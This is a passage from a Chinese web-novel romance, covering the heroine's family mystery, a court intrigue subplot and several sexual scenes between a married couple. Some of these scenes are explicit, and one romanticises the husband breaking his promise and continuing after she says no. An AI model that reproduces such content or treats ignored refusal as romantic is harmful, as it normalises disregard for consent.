卫臻一下子就停在原地了。 不知道该意外她的容貌,还是意外她的身份。 梁王妃。 害她的段怀山是梁王之子。 那眼前这个与阿娘有八九分像的夫人,是害她之人的母亲。 突然又不太确定到底像不像了。 卫臻七岁那年,阿娘小产,心中郁结,父亲请了一个又一个大夫来瞧,开了好些方子,阿娘都不见好。卫臻模糊的记忆里,与阿娘相处的最后一段时光,一直笼罩着散不去的汤药味。 再后来,阿娘放了一把火,把自己烧得干净。 她走的时候还那样年轻,数年来,卫臻也只能梦见她年轻时的样貌。 事情已过去十多年,卫臻也早已逼迫自己学会,与这份想起阿娘时的钝痛相处。 山风穿林而过,枝头树叶摇响,似落了一阵急雨。 卫臻拢了拢灌满山风的衣袖,垂下头,缓缓舒出口气,没再急着往下走,讷讷道:“我从未见过这位王妃娘娘。” 倘若她不是段怀山的母亲,或还可以主动结交一二,现下也只得敬而远之。 “梁王面上不结党羽,梁王妃亦深居简出,除了皇室家宴,她鲜少赴宴。” 因着这件事,卫臻没了闲逛的心思,让兰怀去玄妙观门口买了几份福糕,一行人很快踏上返程的路。 快要经过卫府门口时,卫臻叫停了马车,又对燕策道:“我想去给祖母和父亲送些福糕,你在外面等等我吧,若你进去,又要许多人出来迎。” 燕策知道卫臻心里揣着事,他没在这个当口追问,只点头应下。 管家见卫臻回来了,忙迎上来。 “父亲今日去上值了吗。” 管家答是,又道:“这几日春闱,老爷已经两日没回府了,脱不开身。” “你陪我去书房一趟吧。” 闻言,管家面露难色,老爷特意吩咐过,若非必要,不许人进书房。 卫臻见状,一面说自己从前就经常进父亲的书房,一面又故意摆起架子耍了通威风,管家才应下,拿钥匙开了书房的门。 这间大书房并不是卫含章处理公事的地方,没什么需要特别保密的公文,里边多是一些不十分稀缺贵重的藏书与古玩字画,卫臻出嫁前就经常过来,搞不懂为什么父亲突然要把门锁上。 博古架上有个锦盒,里面搁着卫含章十几年前为亡妻作的两幅画。 卫臻小心翼翼取出画卷,徐徐展开,画中人明眸善睐,年轻的面容十分昳丽,抬手轻轻抚过,卫臻无声念了几遍“阿娘”。 两幅画眉尾都有颗小痣,她小时候问过父亲为何要额外多画这么个痣,父亲讲这是他画人像时的手|癖。 卫臻抬手把眉尾的痣遮住,这样更顺眼,阿娘眉尾并没有痣。 一旁提着父亲为阿娘起的小字:若鸿。 父亲说阿娘的舞姿翩若惊鸿,故而取这么个字。 可卫臻更喜欢阿娘自己本来的名字:诺敏。 阿娘是溧族人,这个名字也是溧语,意思是身披积雪的大树。 小时候,卫臻还在益州时,这两幅画一直挂在卫含章的书房里,入京后就被收起来搁在盒中了,大概是怕挂在外面会弄坏。 毕竟诺敏的画像只剩这两幅了,其余的当年都一齐被她烧掉了。 卫臻现在看这画像,忽然觉得梁王妃也没有那么像阿娘。 许是自己太过思念亡母,所以在观中猛然见了梁王妃才会觉得相像。 回国公府后,卫臻让人给老太太和韦夫人送去福饼,这边习俗是晚辈去过寺庙道观之后要为家中长辈送福。 燕敏正在韦夫人那用膳,她跟着送福饼的侍女一道来了浣花院,燕敏进门时吠星正跟在卫臻身后不停地嗅。 吠星闻到卫臻裙摆上有小猫的味道,知道人出门跟猫玩过,它想说的太多了,时不时就汪几句。 韦夫人这几日操心给燕姝找夫婿的事,忙得焦头烂额,连带着看燕敏也不顺眼,燕敏逮住机会就往别处钻,生怕一个不小心热韦夫人生气。 “母亲已经数落我一上午了,幸亏方才我跟她说要来找嫂嫂学针线活,才能有机会跑出来。”燕敏靠在躺椅上,一边翘着腿吃果盘一边道。 “那你可得老老实实跟我学了,可不能就这么甩着两条胳膊回去。” 卫臻让人取来绣筐,还真就在窗前开始教燕敏做针线活。 前院来人找燕策,燕策临出门前对卫臻道:“别累着眼睛,晚上带你出去转转。” 燕敏伸长脖子问:“六哥哥,那我呢?”晚上出门玩有没有她的份啊? “别累着你嫂嫂。”燕策在拂开帘子前对燕敏丢下这么一句。 燕敏“哼”了声,看见侍女刚送上来的果盘又“噫”了一下。 “怎么了?”卫臻顺*着她的视线望过去,果盘并无异常,都是她最近经常吃的。 因着水果切开时间久了容易坏,所以最近侍女都是每隔半个时辰上一份新的小果盘。 “嫂嫂这里竟然有番梨,我六哥哥吃番梨起疹子,好多年不见他身边有这个了呢。” 卫臻很意外,不小心被针尖扎了一下手,“可是他”他吃过啊。 话未说完,卫臻就想起来,燕策吃番梨的那一次,是她回门那日,那日他的脸莫名其妙红了好久,还一直不让找大夫。 该不会就是吃番梨吃的吧。 卫臻决定等他回来问问这件事。 没成想,等他回来,卫臻就被气得忘了这茬。 燕敏拿着个帕子展开给燕策看上面的绣花:“六哥哥,怎么样?” 燕策点点头,“好看,拿远点。” 说完他径直朝卫臻走过去,但被她瞪了一眼。 这一眼,燕策不明就里。 燕敏对他低声解释道:“这个帕子是我嫂嫂绣的!” 燕策把帕子接过来,认真看了看:“好看,绣得特别好,栩栩如生的。” 卫臻没搭理他这找补的话,燕策又凑上去问她:“晚上想吃什么?” “吃‘好看拿远点’。” 燕策:“” 晚膳最后是去外边用的,燕策带着卫臻和燕敏去了天禄居。 天禄居旁边挨着四方馆,门口驻守着几名北昭士兵,还有两名穿着打扮与北昭人不同的护卫。 “那是突厥人吗?”卫臻想起沈明秀昨日闲聊时提过一嘴,她的夫君任鸿胪寺少卿,这几日在忙着招待突厥使臣。 燕策点点头,把卫臻扶下马车,“突厥使臣入京,预计呆半个月,圣上赐居四方馆。” 燕敏没用他扶,自个儿从车上蹦下来了。 卫臻一行人进了天禄居大门之后,一旁四方馆三楼窗边的其其格没再继续朝楼下看。 其其格踱步回到桌前,再一次感叹,若燕策也生在突厥该多好。 倘若那样,日后她为王,他就是她手下最利的刀。 可惜他效忠于北昭,她没有足以打动他的筹码。 如今他已娶妻成家,在这边扎根,更不可能说服他投身突厥。 突厥有大片肥沃的牧场,牧草丰美,沃野千里,能培育出最优良的战马。还有丰富的矿脉,能打造出最坚实耐用的神兵利器。可惜冶炼技艺不如北昭,也缺少骁勇年轻又擅谋略的将领。 其其格短暂感叹之后,很快提笔给梁王写回信。 梁王是只笑面虎,城府颇深,与他打交道很是耗费其其格的心神,但他率先提出结盟,若突厥将马匹和矿石贩卖与他,梁王愿派人教授突厥矿工冶炼技术,还承诺若他登上皇位,将扶植其其格做下一任突厥王,并在边境开放互市。 若能促成这笔交易 其其格打断了这个假设,她是阿娘最优秀的孩子,当然能办成。 阿娘现在的位置,日后她也要夺一夺。 ** 在天禄居再次看见番梨,卫臻才想起要先前想问燕策的事,又觉得当着燕敏的面不好意思质问他,便准备等晚上俩人私下里再讲。 卫臻故意对着燕策把番梨咬出脆响,但燕策神色如常,并没有半点心虚的样子。 用完膳就回府了,到了国公府门口,卫臻想跟在燕敏后边下车,却被燕策拦住了,“我们先不回去。” 二人去街上逛了一圈,看鳌山灯,今年有新花样,灯里加了冷焰火,卫臻下马车的时候刚好赶上最壮观的一幕。 发光的箭簇“嗖”地一下窜上鳌山灯最顶端,紧接着整个灯像被仙人淋了一圈瀑布,银白色冷焰火从上至下倾泻,万斛银泉,冷焰如练。 久久不息的冷焰光伴着月光,映得街边房檐上的瓦片粼粼。 人太多了,燕策原本还担心卫臻觉得没意思,没想到她看得很起劲,跟着拍手拍得手心通红。 期间还遇见个穿月白色大袖衫的郎君,与燕策交谈几句,卫臻在一旁闻见了熟悉的香气。 等人走了,她才从燕策口中得知这个穿着低调,身旁只跟着两名随从的人竟然是太子。 同时,卫臻猛然记起,太子身上那股熟悉的香气,与燕姝身上的一样。 小元曾经把燕姝的帕子给卫臻蒙在头上,且这几日卫臻也与燕姝往来频繁,因此她对燕姝身上的香气很熟悉。 卫臻把这个巧合默默搁在心里。 从有鳌山灯的街出来,燕策带着卫臻去了一小片有草甸的树林,路程并不很远,都没有出城。 卫臻在他铺的垫子上坐下,看着他用刀鞘荡平了及膝深的草丛尖,紧接着无数萤火虫闪烁着微光从草丛中飞出来,似在半空中撒了一大片绿色的金粉。 “哇——”卫臻惊喜地喊出声,眼睛都不眨。 夜风穿径,光晕随着微风层叠闪烁,忽高忽低地流转,似把头顶的星星揉碎倾洒。 “小心飞进你嘴里。”燕策在她身旁坐下。 卫臻立即把嘴巴闭上,扭头对着他闷声哼出三个音,又用额头撞他一下,燕策听出来是她在骂他烦人。 有一只胖鼓鼓的小萤火虫飞得很慢,落在卫臻掌心,她轻轻吹了口气,那只小萤火虫又迟疑着飞走了,光亮怯生生的,明明灭灭。 望着漫天飞舞的流萤,卫臻撩起头纱遮在眼前,荧光被细纱筛过,变得更为柔和飘渺。 “感觉像回到了益州。” 卫家在益州的宅子后面连着一小片林子,天擦黑的时候就会有很多萤火虫在其中忽高忽低地流转,卫臻小时候很爱跑过去玩。 提起过去,就有说不完的话,草甸旁的小溪自在地流,二人一直在外面呆到亥时才往回走。 今日走路走得有些多,卫臻许久不这么活动了,从马车上下来时腿酸酸的,回房后就靠在窗边小榻上犯懒。 燕策也挨过来跟她靠在一处,小榻她一个人躺很宽敞,两个人就有些拥挤了,挤着挤着卫臻就被燕策抱到腿上。 “房间里这么多地方,做什么非要跟我挤这里。”卫臻哼唧着抱怨。 她的珍珠云肩还穿在身上,燕策又把人往上抱了抱。 卫臻此时还未察觉他的意图,趴|在他身|上问道:“你吃番梨起疹子,上次为什么还要吃。” 珍珠云肩落在他高挺的鼻梁上,燕策用鼻梁拂开珍珠,神色如常:“谁说的。” “你管谁说的干嘛。” “敏敏说的,”燕策笃定,“你信她一个黄毛丫头还是信我。” “这有什么信不信的,你明知道吃了不舒|服,干嘛还要吃——” 卫臻的尾音被迫拖长而后中止,因为他吃了一口。 “没有不舒|服。”燕策赶在卫臻骂他前,捏住她小巧的下巴,使她唇瓣分开个|缝|儿,而后贴上去,含|住她舌尖勾|缠几下。 卫臻被他这一连串的动作搞得措手不及,愣在他怀里由着他摆|弄。 其实燕策的舌头是有一点点疼的,因为卫臻晚上吃了挺多番梨。 但是碰到她唇,先尝到的是甜香,而后才是痛意。 这点由她带来的痛意,让他后|腰发|麻。二人鼻息相|缠,他感受到比舌尖刺|痛浓烈千百倍的快意。 卫臻回过神来,扯他头发一下,迫使他短暂与她的唇分开,燕策在她耳边|喘|着,声线低哑:“亲完再跟你道歉。” “什”卫臻的话没问完就被他用唇堵了回去,她迷迷糊糊的,压根不记得昨晚自己被他亲了之后曾经要求他道过歉。 他这次亲得太|急了,比方才还要|急切,卫臻喘不上气,轻哼了几声表达抗议,燕策的吻势才如她所愿放缓,舌尖轻轻|勾|缠,描绘她唇瓣的线|条。 卫臻被亲得麻|酥|酥的痒,挠了燕策好几下,他才松开。 “很|舒|服。” 他似在继续方才的话题,证明自己能吃番梨,也似在给这个绵长的吻收尾。 燕策的手一直搁在她后腰轻|揉|着,卫臻被他揉|得舒|坦,哼唧道:“腿也酸,我明日定然走不动道了。” 她知道每次走了太多路之后,第二日腿必定酸痛到不行。 “给你揉|揉。”燕策在榻上坐起来,让卫臻躺|着把腿搁在他腿上,而后用适中的力道轻|揉|着她不舒|服的位置。 他手掌生得很大,指节有力,比侍女揉|得还舒|服,在卫臻迷迷糊糊快要睡着时,他手上力道和方向突然变了。卫臻一下子睁开眼,想坐起来但腰都泛着软。 澄澈的眸很快被他揉|出雾气,红|润的唇瓣开|合,吐|出的音也绵|软:“你手上有茧子” 这几日天气越来越暖,夜间窗外草丛里开始有虫鸣,翻来覆去地讲着夜的静,一切声响都被掩在不讲道理的虫鸣下。 燕策的目光始终停留在她泛|红的脸上,不错过她眼神里每一丝细小的转变,“隔着衣裳。”这句话最终使他得到她的允准。 窗边搁着个盘口花瓶,瓶中插着几束花枝,枝头缀满各色小花,挤挤挨挨,有待开的花苞醉醺醺垂着,发出一蓬一蓬馥|郁的香。 她今日的妆花云锦裙子,软得像云,他曾用唇描摹过花的样子,记得很清楚,修长指尖循着记忆,隔云探花。瓶中花开得正盛,好似一伸手,就会染一手的软与香。 窗外有夜鸟鸣叫,啼声里伴着夜的湿和凉,一声比一声急,卫臻的心被这叫声催得紧。 “松一松。”他在她耳边道。 卫臻不愿低头,也没意识到,他指腹的温度已经不受阻,鸟鸣携着月光,直接覆在他青|筋|迭起的手上。 第24章 浑身力气被卸掉后,卫臻的睡意来得很快,甚至都没来得及去沐|浴。 翌日燕策要去上值,他起得很早,轻手轻脚换好衣裳,回来掀开帐子卫臻依旧睡得很沉,整个人蜷在蓬松柔|软的红绫被里,燕策轻声对她说了几句话。 她半梦半醒间无意识应着,无论他说什么她都小声“嗯嗯”,看得人心里发软。 卫臻再睁开眼,枕边已经没人,她连燕策什么时候起的都不知道,对着垂坠的床帷愣了会子神,而后坐起来伸了几个懒腰。 转身见旁边他的枕头上搁着张叠了两下的纸条,卫臻打开来看,上面用疏狂遒劲的笔迹写着:去上值了,晚上回来陪翘翘用膳。 墨迹早已干透,该是写完很久了,想来他出门上值起得很早。 卫臻动了一下,浑身不舒坦,果然不该一下子走那么多路,现在四肢都很酸|痛。 但是很干|爽,该是擦|洗过了,不知道是兰怀还是他 很快卫臻就知道是燕策擦|洗的。 因为没有小|裤,而且她身上穿的是一条衬裙,不是寝衣,兰怀不会给她收拾得这么乱糟糟。 这人怎么连衣裳都分不清,真是讨厌。 卫臻朝着燕策的枕头“梆梆”锤了两下,纤长五指收|拢,他写的纸条也被她捏成一团,发出细碎的窸窣声。 祝余来整理床铺,看见这张被卫臻捏得皱皱巴巴的纸条,她没敢展开看,也不知道要不要扔,犹豫着不知道该搁在哪,最后顺手夹进床头的书里了。 卫臻原想着今日无事,打算在屋里好好歇一日,梳头时也不紧不慢的,没成想头发梳到一半燕姝就过来了。 聊了几句卫臻才想起来,今个初一,早上要去韦夫人那里。 韦夫人不用小辈们日日去她那晨昏定省,只让人每逢初一十五过去坐在一处吃茶,话话家常。 这是她婚后头一回去韦夫人那里请早安,若不是燕姝顺路喊她一起过去,卫臻就要把这茬给忘了,她心底觉得好险,面上装出很淡定的样子:“我正要去呢。” 往外走的时候,卫臻挨着燕姝,又仔细嗅了嗅她身上的香气,确实与昨晚她在街上闻见的太子身上的熏香很像,几乎一模一样。 一进莲心堂,行至厅前就听见里边传出来四太太的声音,眉飞色舞的。四太太的娘家侄儿去岁乡试已名列前茅,今科下场,先生断言她侄儿此番会试必能蟾宫折桂。 卫臻给长辈们问过安就挨着燕敏和燕姝坐下了。 燕敏忍不住小声吐槽:“那些个先生,逢人就夸,他们口中个个都有好前途,若真是这样,那圣上的金銮殿早该站不下人了。四婶这笃定的语气,金銮殿像是她家开的。” 这话若被传出去,容易被扣上“大不敬”的帽子,燕敏捏住燕姝的手,示意她噤声。 卫臻瞧了四太太一眼,四太太并没有发觉燕敏在一旁说她小话,腰杆子依旧挺得很直,聊完科考,她又开始聊谁家儿媳前几日诞下了长孙,聊着聊着突然点到卫臻这儿来:“卫氏也该抓紧点,早些让大嫂含饴弄孙。” “这些事旁人替不了,他们小两口自己商议去。”韦夫人自己也是从年轻时候过来的,如今她成了长辈,并不愿意给小辈施加压力。 “可不能由着他们自己说了算,这生老病死,人伦纲常,得为族中长辈着想。” 燕敏虽年纪不大,却极明事理,她素来看不惯四太太撺掇别人家的私事。也幸亏她年纪不大,才敢直接开口刺回去:“四婶婶这话说得,生老病死的生又不是生娃娃的生。” “臻姐儿带敏姐儿回去,教她做做针线活,不能再由着这丫头一天天地口不择言了。” 卫臻感激地看了韦夫人一眼,连忙应下。 二人一齐回了卫臻的浣花院,今天日头不晒,卫臻干脆让人套车去把卫舒云接来一起玩。 卫舒云来的时候带来一小筐鲜橙,“底下庄子送上来的,讲是今年春夏头一茬,不用蘸盐就好吃。” “用过早膳了吗?”卫臻正和燕敏一起用膳,原以为要在韦夫人院里一起,没想到二人提前回来了,倒更自在些。 “用过了,嘿嘿,我可以再吃一次。” 吠星半点都不怕生,第一次见卫舒云,它就像个舞狮一样在她跟前跳,很容易就给摸了。 几人用膳时,吠星也等来了它的饭,依旧吃得很急,把小饭盆拱|得一直往前跑。 “它吃好快啊,会不会积食啊。”燕敏感叹道。 卫舒云咬断筷子挑起来的桐皮面,咽下去后道:“前两日去我姨母家中,她家的狗吃食用的是个特制的器具,吃起来能慢很多。” 燕敏跟着应声:“嫂嫂咱们也给吠星搞一个吧,让它吃慢点。” 说办就办,也没让下人出去买,几人用完早膳就坐车去外边的犬肆碰运气,顺道在首饰铺子逛逛。 犬肆老板很会说话: “这狗养得真好啊,毛发油光水滑的。” “这种眼睛亮、鼻头湿的就是绝世好狗” 这一通乱夸,最后卫臻不仅给吠星买了吃饭用的器具,还置办了各式精巧玩物。 吠星知道都是给它买的,高兴得一直转圈,卫臻摸了摸它,“在外面舌头要收回去。” 午膳也是在外面用的,几人去了永安楼,出来时还遇见了嘉祥郡主段青颐。 卫臻第一次见段青颐的时候只觉得她面容同自己有几分相似,当时偷偷多看了好几眼。现下知道了她是段怀山的妹妹,且她的母亲梁王妃还与阿娘长得那般相像,卫臻心情颇为复杂。 段青颐态度很冷漠,见有人给自己行礼,她几不可闻地点了下头,带着一群仆从声势浩大地过去了。 “眼睛都要长到天上去了。”燕敏很小声地嘀咕了一句。 卫臻捏捏她的手,“咱们回去吧,我闻着像是要下雨了。” “这个怎么能闻啊?”卫舒云抬头看了看,天上并没有什么乌云。 卫臻也说不上来,但她闻着就是有种要下雨的味道,从小就能闻见。 卫舒云见她很有把握的样子,也信了个七七八八,怕一会儿淋雨,她想回卫府,但燕敏没跟她玩够,再三央求她回国公府住一晚。 燕策下值回来的时候没在正屋瞧见人,问过侍女才知道几人正在西耳房,有女眷他不方便直接进屋内,就让祝余过去喊卫臻回来。 卫臻正跟燕敏和卫舒云一齐挤在西耳房的榻上,一边听雨一边看话本子,听见燕策找她,她不怎么情愿过去,祝余添油加醋地讲燕策淋雨了,浑身淋了个透,许是要生病了,卫臻忙踩上绣鞋过去看看。 刚一出门,就被燕策一手抱起来,他身上外袍湿|透|了,还没来得及换,这一抱,连带着卫臻的衣裳也被濡|湿。 “一回来就把我衣裳弄湿了,真讨厌。” 他五官浓烈,沾了水格外昳丽,被他这么抱着往回走,卫臻有几瞬忘了跟他生气,所有注意力都被他黝黑深邃的眉眼吸引。 燕策抱着她在沿着廊下慢悠悠走着,拖长调子学她的语气,“又讨厌我了啊。” “不准学我讲话。”卫臻捂住他嘴。 她掌心有股淡淡的橙皮清香,混着她身上的甜香,很好闻,燕策多嗅了几下。 回房后卫臻把侍从屏退,坐在玫瑰椅上,从果盘里捡起个橙子,一边摁在手底下滚动着,一边跟他算昨晚的账。 燕策正在解外袍,他身量高,视线越过屏风直接望向她,“昨晚开始之前我净过手。” “我是问你这个吗。” “那翘翘问的什么?” 金灿灿、圆滚滚的橙子被她摁在手底下转着圈,燕策看着她的动作,想起上次下雨那日,它也曾被她的掌心这样镇压过,他眸色暗了暗。 他在逼她把昨夜的事阐述一遍,卫臻被他故意犯浑的话气得用手边的橙子去砸他。 燕策下意识偏头一躲,几乎是同一瞬,又伸长手臂把擦着他侧脸飞过去的橙子捞回来,“准头不错。” “夸我还是夸你自己?” “自然是夸翘翘,一下子就扔进我手里了。”他一边朝她走近,一边把橙子随手抛了两下。 “少刻薄我。”他抛橙子的动作落在卫臻眼里满满的挑衅,她伸手把橙子从他掌心夺回来,“你怎么还不去沐浴,别真折腾出风寒。” “一起。”燕策已经跟她紧挨着,目的很明显。 他心情好像有些过于好了,卫臻拧了他一下,“我里边衣裳又没湿,直接换一条外裙就好。” 但这两句话没什么威慑力,卫臻还是被他抱着朝浴房走去,她揽着他脖颈忍不住想,这人怎么能这么理所应当。 燕策自然理所应当,他的原则是,她不同意的他不会做, 但只要被她允许过一次,他就会在接来下的每一次都顺杆爬。 卫臻被他一齐抱进去的时候感叹了下,怪不得屋内的浴|桶那么大。 她坚持要穿着里衣,但其实沾了水后压根没什么两样,乌黑柔顺的头发像逶|迤的薄云紧|贴着玲|珑纤细的肩背。 “我今天手上没劲儿”她的嗓音潮而甜润,一如雨天屋内的气息。 “用橙子打我的时候手劲儿很大,” 他亲了她一下,“这只手也搁上来。”她的手生得漂亮,掌心丰|润,指腹|柔|软,两只手被他一齐掂量着并拢,轻飘飘的,加上她躲懒,再怎么摆|弄也使不出多少劲儿。 “要求真多,谁打你了。”卫臻不能接受凭白被他扣这么一顶帽子,于是真的抬手打了他一下。 果然打他的时候就有劲儿了。 燕策被她打这一下催得额角跳|了跳,把人抱得更|紧。 “昨晚帮过你,礼尚往来。” 他这个时候总是有一堆卫臻想都想不到的歪理。 燕策回来时天还亮着,飞光流逝,不知是几时,与她呆在一处,他对时辰钟点并无好奇。最好,永远就停留在此刻。 卫臻透过雨幕远远望着,院门口已经点起灯来。 躲过窗外淋淋|漓漓的雨,指尖依旧潮|润|润的。 狂风已转弱,但雨开始不转瞬地落,没了风声遮掩,雨势强得人无法忽视。 春|夜把雨斟得太|满,而她掌心浅浅的。大朵云浮上来,厚厚重重盘|踞在水面,卫臻眉眼间盛满了窗外的雨雾,纤细秀气的眉紧蹙着。 雨幕被风刮得歪斜,最后关头,有雨滴溅到她小巧的下巴上,将落未落。“你!”卫臻一下子就哭了出来。 第25章 这在燕策的意料之外,他没想这样,忙抬手给她擦掉。 卫臻气得不行,躲着不让他擦,“不准用手碰我的脸。” 他可没做什么好事。 燕策改成用手背帮她擦,擦掉后又凑上去,一边道歉一边轻轻亲她,“给你还回来好不好。” “这个怎么” 话未说完,卫臻凶巴巴的尾音就渐渐消失在舌尖,发髻松松垮垮往下垂着,堆在秀美的肩上。 她大概知道了他说的法子。就像,两月前,他的脸也曾经脏过。 ** 梁王府。 段青颐屏退侍从,与梁王妃在灯下私语:“母亲,我今日又遇到那个人的女儿了,她就顶着那张与我八九分像的脸在外头招摇。” 有些意外段青颐突然提到卫臻,但梁王妃不以为意:“你贵为郡主,与她云泥之别,日后你父亲”她顿了下,没把话完全说出来,“就更没人敢把你们俩放一处比。” “去岁,我第一次在宴席上见到她时,就有人窃窃私语说我们像。”段青颐忽挨近梁王妃耳畔:“得除去她,或者,毁掉她的脸。” 段青颐平静的语气有些吓到梁王妃,“青儿,你何时变得如此” 她没说出口,倏然觉得角落里点的熏香燃得有些浓了,香到发苦。 梁王妃站起身,想开窗散一散熏香,也想借此结束这并不怎么和软的话题,却被段青颐摁回玫瑰椅上。 段青颐是有些委屈的,但从小骨子里堆砌的傲,加上在这个特|殊话题之下与母亲较着劲,使她说话依旧带着刺: “母亲是想说女儿狠毒吗?荒唐事不是我做的,是你。母亲没资格那样想我。” 见梁王妃被她说得难受,段青颐忍了忍,也怕隔墙有耳,到底没把难堪的话说全: “我这是在救我们母女二人,若不狠一些,迟早会被父亲发现。” 窗外一记闷雷劈下来,梁王妃面颊被映得惨白,她不由自主打了个冷颤,手上的茶盏倾倒在楠木桌面上。 ** 惊雷响起的一瞬,燕策抬手捂住卫臻的耳朵。 雷声在夜幕中滚了三滚,退去后,夜雨再次哗啦啦往下落,瓢泼一样。 “你看!打雷了,老天都不信你说的话。” 卫臻把耳边的手掰下来,又变得神气,半点都瞧不出方才被雷声吓得缩着肩往他怀里躲的样子。 方才卫臻拒绝了燕策的提议,他又说了好多软话才止住她的泪,再三保证以后不这样了。 当然,这个时候说的话没有人会信。 桶里的水已经凉透了,但燕策整个人都发|热,俩人挨着,卫臻也不觉得冷。怕她着凉,燕策把人抱出来,让她坐在一边的小杌子上,他去里间拿了件衣裳。 她乖乖坐在那,身量在他跟前显得过于小巧了,燕策好像错误估算了卫臻的位置,外袍展开后不小心把她兜头罩住。 在卫臻的抗议声中燕策把外袍慢慢往下拉,露出张粉雕玉砌的脸,暗红色的料子十分显白,尤其是穿在她身上。 “怎么是你的衣裳。”卫臻嗅到一股冷冽的浅香,瓮声抱怨了句,而后抓着松松罩在身上的外袍,去屏风另一侧把里边的衣服换了下来。 怕她摔着,方才取外袍时燕策在屋内点了盏灯烛。眼下她绰|约的影投在屏风上,布料窸窣声顺着屏风底下的空隙,一直蜿蜒至他身侧。 烛芯在夜风撩|拨下飘摇不定,这几日的风并不凉,只把她身上的香气和软|腻的音一点点往他这边送。 “也不知道舒云有没有用膳,我一会儿得再去看看。” “肯定吃过了,敏敏陪着呢,你若想,可以留她在这边小住几日。” 他提起燕敏,卫臻又想起早上的事,“太太待我好得不像长辈,今日四太太催我生孩子,太太还主动帮我解围。” 卫臻虽然平日里爱对他使小性子,但她生母早逝,对这种事其实是很敏|感的。 燕策蹙眉问怎么回事,卫臻几句话跟他讲清楚,又道:“你不用担心,也不是跟你告状,我可没有吃亏。只是我未曾在别人家见过这样的长辈,心里总觉得不踏实。” 韦夫人并不在人前与她假装亲近,也不摆出婆母的架子,却又在关键时候出声维护她,好到有些不真实了。 燕策多少能猜出这背后的原因,母亲大抵是对他有愧,想弥补一二。 小时候的事其实他自己已经不觉得有什么,但是至亲指间这种话说不清,也很难开口,若硬要说,反而会让韦夫人越发愧疚,只有受着她的好,她才会好受些。 燕策把缘由简单跟卫臻讲了讲,好让也她安心。 二人有一搭没一搭地隔着屏风闲聊着,卫臻衣裳穿得很慢,身上本来就酸|软,又一顿折|腾,她坐在里边多坐一会儿,纤长的手指梳拢着长发,静静听窗外淅淅沥沥的雨声。 卫臻以为有过一回,又歇了这么一会儿,他该消停了。 燕策也是这样认为的。 但她从屏风后走出来后,他意识到好像并没有。 卫臻刚开始习惯了他的存在,他就开始忙,这个感觉对燕策来说并不好。 他在外面还担心她一个人在家里会觉得无聊,会想他。 但她过得很充实, 更离不开人的好像是他。 他正值盛年,很大一部分汹|涌的爱意,要本能地通过莽|撞表达出来。 卫臻其实不太懂如何穿男人的衣裳,她把他的衣裳穿得很随意,扣子没扣,只用根衣带在腰间系了下。他的衣裳她穿着大了太多,领口处露|出一截白腻的颈,意识到那里没有系带,燕策眸色暗了暗,半拥半推着她往前走。 他脚下的步伐并没有目的,因为唯一的目的就是她。 所以随便在哪里被拦下都可以,窗前也行。 这个位处算不得将就和勉强,因为这里让她紧张,紧张到整个人都靠着他。 卫臻此时还未察觉他心里的弯弯绕绕,在燕策想低头亲她是,她尚且还有精力摸索到燕策手肘去寻他的麻筋,“这次捏对了吧。” 燕策应声,夸了她两句,又道:“被你捏麻了,走不动了。” 说完他就弯下腰,半身重量往她身上倾。下颌抵|在她肩窝处,轻轻嗅她身上的甜香。 卫臻被他灼热的呼吸烫得耳垂麻酥酥,抬手揉了揉,“捏的是胳膊,又不影响你走路,你这人耍起无|赖怎么一点理都不讲。” “耍无|赖怎么能讲理。”燕策在后面揽着卫臻,把她双膝并|拢,在她耳边丢下很轻的一句:“劳驾。” 卫臻这时候才后知后觉,“怎么又”这扇窗外面是一小片湖,周遭是后花园死角,并不会有人经过,但卫臻还是紧张得不行,因为这回不是手,他的两只手都用来钳制她。 窗外落着雨,但今夜月亮也很大。“只在外边。”燕策望着外边月亮的影子对她哑|声低语。窗前徐徐铺散开柔|软的、不成|型的影,窗外流转着亮银。 得了他的保证,卫臻也没有好到哪里去。 她喜欢被他面对面抱着,或者像她先前崴脚不便时那阵子一样,单手抱也可以。 但燕策不是, 他很坏的。 尽管两人尚未专门探讨过这个问题,但卫臻知道他爱从身后抱着她。 她不喜欢这样,若站着遂了他的心意,她脚踩不着地。 燕策确实喜欢从后面抱她,这样很相称,把她整个人抱在怀里轻轻往上揽,就能对上。夜雨淅淅|沥|沥,对上雕花窗棂,是潮|湿又很有分|量的声响。 卫臻披着他的外袍,一张巴掌大的脸掩在乌蓬长发之下,和窗外高悬的月一样皎洁|白|净,此刻的对视比亲|吻更让人心动。 明月把冷白的光撒落在湖面,燕策探|手,捞|了满手的月光。 湖中月亮的影子被雨水击|碎,成无数个散涣的小月亮,飘|摇在水面,也三三两两落在燕策指间。 他坏透了。 他语气恶劣地邀请她一同赏他捕|捉到的的月,问她多不多,这个态度根本算不得是邀请。 自然多,满湖面都是月亮的碎影,何止千万,卫臻眼前有万万个月亮。 “是不是站不住了。”雨雾漫上来,她的步履虚|浮,燕策好心提醒着。 如果站不住,她全身力道就会压向他,这正遂了他的意。“不可能,”卫臻是输人不输阵的,她手底下抻着劲儿,努力扶着窗棂,故意说些不解风|情的话题:“都赖五方山,长那么高。” 卫臻觉得再没有比五方山更高的山了。 也许她现下腿|软赖不到山身上,但她并不愿意承认。 燕策轻轻|捏|她几下,戳|穿她的借口:“五方山只有几十丈。” “你讲话真讨嫌。”她骂人的间隙,被狠狠|掠|过。春|夜的雨也不永远汹|涌,有疾有徐才更适宜这好时节。等到下一阵子缓,卫臻指尖开始无意识抠着衣服上的刺绣,以此转移注意力。 燕策的目光循窗前雨幕而下,落在她莹|润的肩头,低头亲了亲她肩上那颗小痣。 “别往里”她先前给他系的铃铛在不合时宜地跳跃着,响声就萦绕在耳边,一直往里|钻。卫臻鬓发汗湿,想探手去拽铃铛,却被他困住。燕策困她的手段也狡猾迂回,一面强|势到让她半点都逃离不得,一面又动作很轻地帮她把颊边碎发抿至耳后。 “哪那么容易。”窗棂处潲了水,在燕策手背留下湿|淋|淋的雨|渍,他又往里挪了挪。 卫臻试图敛声*屏息,生怕一不小心让处境更艰,偏生他一直在逼|她说话。 衣服上的刺绣被卫臻用指甲挑开了,这是她过于紧张时的小动作。 她扯着脱落散开的丝线往原来的位置上戳,在她做无用功戳丝线的间隙,妄念先一步戳|进去,卫臻一下子就把丝线扯断了。 他果然言而无信。 燕策毫无愧意地与她十指相扣,给她轻|揉指尖被丝线勒|出的红|印。 他只说不易,没说不想。 缥缈的月光从窗棂铺撒进来,漫过她浅红|柔|软的唇瓣,燕策本|能地想|亲|她,但又不太顾得上,卫臻直往前躲,“不行”她不想再在这里赏月,眸中涌|出的雾气把什么都遮隔了,一眼望不出几步远。 燕策眼眸有片刻失神,停了几瞬才发出声音安|抚她:“就待一会儿。” 第26章 